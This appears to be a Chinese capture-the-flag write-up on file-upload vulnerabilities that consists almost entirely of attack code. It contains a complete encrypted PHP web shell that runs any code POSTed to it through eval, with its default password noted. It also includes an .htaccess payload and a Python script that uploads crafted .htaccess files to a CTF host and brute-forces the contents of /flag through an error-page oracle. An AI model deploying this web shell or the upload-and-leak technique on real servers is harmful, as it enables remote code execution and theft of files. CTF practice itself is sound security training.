文件上传漏洞-通过ctf真题学习

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
     $post[$i] = $post[$i]^$key[$i+1&15];
    }
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "wupco"
</If>

import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
    htaccess = '''
    <If "file('/flag')=~ /'''+a+'''/">
    ErrorDocument 404 "wupco"
    </If>
    '''
    resp = requests.post("http://122.112.248.222:20003/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
    a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
    if "wupco" not in a:
        return False
    else:
        return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: "+ flag+i)
        if check(flag+i):
            flag = flag+i
            print(flag)
            break
        else:
            continue